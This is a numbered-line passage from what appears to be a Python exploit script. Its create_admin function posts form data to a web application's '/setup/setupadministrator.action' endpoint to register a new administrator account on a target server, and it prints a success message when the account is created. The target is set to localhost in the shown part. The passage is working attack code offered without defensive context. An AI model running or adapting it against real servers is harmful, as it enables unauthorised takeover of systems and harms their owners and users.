| 28 | |
| 29 | |
| 30 | def create_admin(url: str, username: str, password: str) -> bool: |
| 31 | data = { |
| 32 | "username": username, |
| 33 | "fullName": username, |
| 34 | "email": f"{username}@AIex-3", |
| 35 | "password": password, |
| 36 | "confirm": password, |
| 37 | "setup-next-button": "Next" |
| 38 | } |
| 39 | res = requests.post(url=f"{url}/setup/setupadministrator.action", data=data, headers=header) |
| 40 | if res.status_code == 200: |
| 41 | print("[+] Admin account successfully created") |
| 42 | return True |
| 43 | else: |
| 44 | print(f"[-] Status-Code: {res.status_code}") |
| 45 | return False |
| 46 | |
| 47 | |
| 48 | _url = "http://localhost:8080" |